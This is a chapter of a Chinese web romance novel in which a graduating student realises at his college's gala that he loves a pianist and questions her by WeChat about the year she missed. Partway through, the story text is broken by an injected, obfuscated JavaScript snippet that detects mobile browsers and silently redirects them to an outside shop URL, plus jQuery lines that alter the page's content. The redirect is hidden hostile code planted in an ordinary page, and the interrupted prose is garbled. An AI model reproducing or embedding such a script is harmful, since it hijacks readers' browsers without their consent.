11.挺般配的
作品:《第一百件事》 学院的毕业晚会在五月底举办,作为优秀毕业生的岳疏桐自然在邀请行列。
要换以前的想法,岳疏桐肯定不准备去参加了,毕业照拍完,毕业典礼领过证书,就可以顺利毕业了,还参加什么毕业晚会,属实是浪费时间。
目前还没有完全熟悉公司的业务,等回到他爸眼皮子底下干活,还不知道会被怎样数落。
但此一时彼一时,学校有了他想见的人。
这样好的机会不能错过。
学校的优秀毕业生都被安排在前排,坐领导的后面。
经管学院只有两名优秀毕业生,一个是他,另一个是金融二班的学习委员沈路。
和岳疏桐不同,沈路是云南山区考来沪城的尖子生。平日学习十分刻苦,以前常和岳疏桐竞争奖学金,岳疏桐对他还算认识。
点头之交,不算熟识。
沈路的脸上总是带着一股不为人知的忧郁色彩,不知是不是和他的成长环境有关。
岳疏桐主动和他打了招呼,沈路闻言扶了扶镜框,朝他勾起一个不失礼的笑,点点头没有说话。
岳疏桐落座,也不介意,沈路本来也不太爱说话,以前也没见他说过几次。
晚会开始前总是千篇一律的领导致辞,岳疏桐没兴趣,从衣服口袋里掏出手机,打开微信对话框。
手指往下滑动,点开了那个香樟树下的女孩头像。
【毕业晚会你来了吗?】
毕业晚会不只是毕业生,其他年级的学生也可以观礼。
过了好半天没有人回复,岳疏桐正准备熄灭手机屏幕,突然左下角出现红点。
【来了。】
还是熟悉的风格,简洁且一语致死,让人没法儿接话。
但岳疏桐没话找话的水平也不低。
【你坐在哪儿啊,我没看见你?】
接下来又是长时间的静默,主持人上台,宣布晚会正式开始,才终于等到回复,【等会儿就能看见。】
岳疏桐云里雾里的,回了个【怎么见?】
对方却再没有动静了。
开场节目是街舞表演,配合着卡节奏的音乐,躁动的鼓点声快把岳疏桐耳朵给震聋了。
当然安排节目的人是有所考虑的,第一个节目是用来热场的,必须得炸!
岳疏桐不太欣赏这类让心脏过震的节目,期待着赶紧来个舒缓的,什么都行。
街舞表演者退场,场务人员上台准备,一架钢琴被艰难地搬上台来,白色三角钢琴,五六个人搬着都费劲,落放在舞台的角落。
主持人上台报幕,“接下来请欣赏梁淮安、初静带来的小提琴,钢琴合奏曲《梁祝》!”
岳疏桐听到那个熟悉的名字,终于明白了初静那句话的意思。
今天初静没有像平时一样选择多巴胺丰富的红橙黄绿色,一袭白裙,微卷的长发披在胸前,左手抚在胸前,右手整理裙摆,和梁淮安眼神对视,二人微微鞠躬。
继而在钢琴前坐定,抬手。
《梁祝》的合奏,大多数人的注意力都会在小提琴手身上,毕竟这首曲子本身就是小提琴曲。
可岳疏桐的眼神和注意力从初静上台就全程跟随,再也未能挪动半分。
随着乐声响起,躁动不安的心脏逐渐得到平静。
聚光灯打在那张本就盈白无暇的小脸上,给她笼罩了一层朦胧的白纱。
他的眼神片刻不移,胸腔里再次打鼓,不同于刚才的躁动,此刻的每一瞬心跳,都在提醒着他,之前不确定的情愫,此刻成了真。
他无比确定,这就是喜欢!
他喜欢她!
或许在她俯身给他指出小红身上那一缕米粒大小的红毛时,或许在她拿着相机转身莞尔一笑时,或许在见到她的每时每刻!
这样的感情并不如他自鄙的那样肤浅,虽是一见钟情,但他却是实实在在为她的每一面心动不已。
她就像有着解不开的谜团,越无解,越入迷。
他看得见,却永远看不完全。
他沉浸在钢琴声里,前面的领导在小声交谈,“初静是不是就是那年那个学生?”
“好像是。”
“看不出来,就两年改变这么大。”
“是啊,也是个不错的学生。看着跟梁淮安还般配的,他们俩是一对儿吗?”
八卦是人类的本性,领导也不例外。
岳疏桐没注意到领导前面的话,只关注到了最后一句。
一对儿?
呵!般配吗?
看不出来。
“初静真的变化挺大!”
旁边的沈路冷不丁的来了一句,不知道是在自言自语还是在跟岳疏桐说话。
“初静?你认识她?”
初静在学校很有名吗,怎么大家都认识?
为什么就自己不认识?自己前面几年究竟干什么去了。
沈路转头看向岳疏桐,有些微惊,他本是自言自语,见岳疏桐搭腔,也就答两句,“初静以前和我一个班。后面休了一年学。”
岳疏桐显然震惊到了,节目已经不再重要了,“她以前是金融二班的?”
“对。”
“那我怎么对她完全没印象?”按理说和金融二班也算挺熟悉的,军训是一起的,英语课和政治课也是一个教室上的。
但他竟然完全没有印象。
上次也是在初静的提示下,他才勉强想起自己和她加微信是为了还他的学生证。
沈路看了眼岳疏桐,一脸意料之中的表情,“初静以前很内向的,我也没和她说过几次话,后面大二还没结束就休学了。”
转而垂眸一笑,像岳疏桐这种众星捧月的骄子怎么会注意到永远蹲在角落里的人。
“那她为什么休学?”
沈路沉眸,思虑片刻,“这就不清楚了。”
其实初静休学那段时间,恰好又和致远楼事件发生的时间差不多,大家都有所猜测,但是后面学校很快就做出了解释。
而辅导员也对初静休学的原因解释为生病,并且不让同学们继续讨论,所以大家都只是私底下猜测二者有所关联。
但毕竟是初静的隐私,沈路自然不会和岳疏桐提起,就算知道也不会说。
岳疏桐皱眉,陷入了沉思,和自己一个年级,金融二班的初静,一个性格内向的女生,但却从没在自己的脑海里留下过印记。
但他在大学还算有名,起码在经管学院认识他的人不少,那她应该对自己还算熟悉?
想着想着突然又浮现那“般配”二字。
怎么都觉得刺挠。
梁淮安他认识,也是经管系的,算是他直系师弟。
可谓是品学兼优,各大奖项拿过不少,在学院里面风头挺盛的,和当年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17041126|194631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的他不相上下。
至于般配嘛,呵!
不就是小提琴吗,其实他也会,以前还在新生晚会上表演过独奏,不过现在倒是很久没拉过了,但是从小学到大,要回顾起来也不难。
像他们这种家庭的孩子,从小就会把各种兴趣爱好都体验一遍,最终选择擅长且喜欢的进行长期学习。
就连江千寻这种公认的混子,也是钢琴十级。
除了之前提起过的画画,他还学过舞蹈,编程,不过最后坚持下来的也就剩下小提琴了。
岳疏桐手撑着下巴,开始在脑海里构思,初静以前和他同级的话,那她应该也参加了院里的新生晚会,那么她也应该看过他的表演吧。
她会不会对自己的演出有印象呢?
岳疏桐从来不是一个容易内耗和胡思乱想的人,他有了疑问,就决定直接去问她。
【你之前参加过院里面的迎新晚会吗?】
没头没尾的一句话,岳疏桐半天都没收到回复,一直到节目看完。
中途他手机解锁又息屏十余次,始终没等到回复。
岳疏桐一贯擅长自我安慰,应该是她刚演出完太累了,没有时间看手机。
直到晚上,对话框才弹出一个【参加过,怎么了?】
岳疏桐顿时失笑,心想这姑娘真的是一语致死的王者。
岳疏桐:【没什么,我今天听人说你以前和我是同一届的。】
岳疏桐:【沈路,之前是你同学吧?】
手机那边的初静看着这段文字晃了晃神,他这是什么意思?他又知道了什么?
初静不知道关于自己休学的原因,学校以及班上的同学知道多少,又猜测了一些什么可能性。
但是她能感觉到自从自己回到回校之后,并没有听到有人对她议论。
她想应该是母亲当时出面解决了吧,关于那一年的事情,她自己都不太清楚,那段时间的记忆都是断断续续的。
沈路她还有些印象,是一个勤奋优秀的男生,不过她对班上的同学了解甚少,她不确定沈路是什么样的性格。
所以她也不确定沈路有没有和岳疏桐说些什么。
初静:【他跟你说了什么?】
岳疏桐:【他说你休学了一年,我能知道为什么吗?】
岳疏桐从知道这个事情之后就一直处于无休止的疑惑中,为什么会休学呢?
是学习上出了问题,家里面出了问题,还是身体出了问题?
不管是哪一种情况,都算不上好。
初静那边却长久没有回复,久到岳疏桐几乎准备放弃这个话题,找寻另外一个。
但她还是说了,【因为生病。】
岳疏桐自然是有眼力见的,初静都已经说到这个程度了,他再问是什么病,就太不合规矩了,【现在好起来了吗?】
看着不像是生病的样子,应该是已经痊愈了吧。
【没关系,已经好了。】
【那就好】
初静想起最开始的问题来,他应该不止是想知道自己是不是休学了一年吧?
【你问我有没有参加迎新晚会做什么?】
初静手机里接连蹦出两条信息,隔着手机都能看出发件人的急切。
【我那年也表演了节目,拉的小提琴,你记得吗?】
【我也会拉小提琴,不比梁淮安差。】

